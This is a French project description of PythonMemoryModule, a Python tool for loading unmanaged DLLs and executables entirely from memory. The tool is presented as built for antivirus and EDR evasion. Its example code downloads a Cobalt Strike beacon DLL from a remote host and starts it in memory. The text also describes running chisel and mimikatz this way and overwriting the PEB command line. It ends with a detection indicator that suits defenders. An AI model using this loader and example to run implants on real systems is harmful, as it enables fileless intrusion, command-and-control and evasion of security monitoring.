
implémentation pure Python de la technique MemoryModule pour charger des dll et des exe non managés entièrement depuis la mémoire
Implémentation pure-Python de la technique MemoryModule pour charger une dll ou un exécutable non managé entièrement depuis la mémoire
« Python memory module » - Image générée par IA - hotpot.ai
PythonMemoryModule est un portage Python via ctypes de la technique MemoryModule initialement publiée par Joachim Bauch. Elle permet de charger une dll ou un exécutable non managé en Python sans nécessiter l'utilisation d'une bibliothèque externe (pyd) et offre un support (partiel) pour le passage de paramètres en ligne de commande.
Il utilise pefile pour analyser les en-têtes PE, PythonForWindows pour accéder aux paramètres du processus, et ctypes pour le travail lourd. L'outil a été initialement conçu pour être utilisé comme module Pyramid afin d'assurer une évasion contre les AV/EDR en chargeant des dll/exe payloads dans python.exe entièrement depuis la mémoire, mais d'autres cas d'usage sont possibles (protection de la propriété intellectuelle, chargement de pyds en mémoire, dérivations pour d'autres techniques plus furtives), j'ai donc décidé de créer un dépôt dédié.
Dans l'exemple suivant, une dll de beacon sans stade de Cobalt Strike est téléchargée (non sauvegardée sur le disque), chargée en mémoire et démarrée en appelant le point d'entrée.
import urllib.request
import ctypes
import pythonmemorymodule
request = urllib.request.Request('http://192.168.1.2/beacon.dll')
result = urllib.request.urlopen(request)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll = dll.get_proc_addr('StartW')
assert startDll()
#dll.free_library()
Remarque : si vous utilisez le staging dans votre profile malleable, la dll ne pourra pas être chargée avec LoadLibrary, donc MemoryModule ne fonctionnera pas.

Dans l'exemple suivant, nous utilisons la fonctionnalité de passage de paramètres en ligne de commande pour exécuter chisel en mémoire.
https://github.com/naksyn/PythonMemoryModule/assets/59816245/cdc91760-1897-450f-9770-1cd2377913c7
Cette technique a été implémentée en écrasant le paramètre Commandline dans le PEB à l'exécution. Cela ne fonctionnera pas avec tous les exécutables car cela dépend des fonctions utilisées pour passer les arguments.
Généralement, pour obtenir une technique universellement fonctionnelle, il faudrait hooker GetCommandlineA, GetCommandlineW, __getmainargs et __wgetmainargs car l'écrasement du PEB ne couvre pas tous les cas, plus de détails ici
Lors de mes tests, j'ai constaté que mimikatz et plusieurs binaires Go fonctionnent simplement en écrasant le PEB, en revanche, le passage des paramètres par écrasement du PEB seul pour les binaires compilés avec MinGW et VS ne fonctionnera probablement pas.
L'utilisation de la technique MemoryModule respecte généralement les permissions des sections de la DLL cible et évite l'approche bruyante RWX. Cependant, dans la mémoire du programme, il y aura une commit privée non adossée à une dll sur disque, ce qui est un signe révélateur de MemoryModule.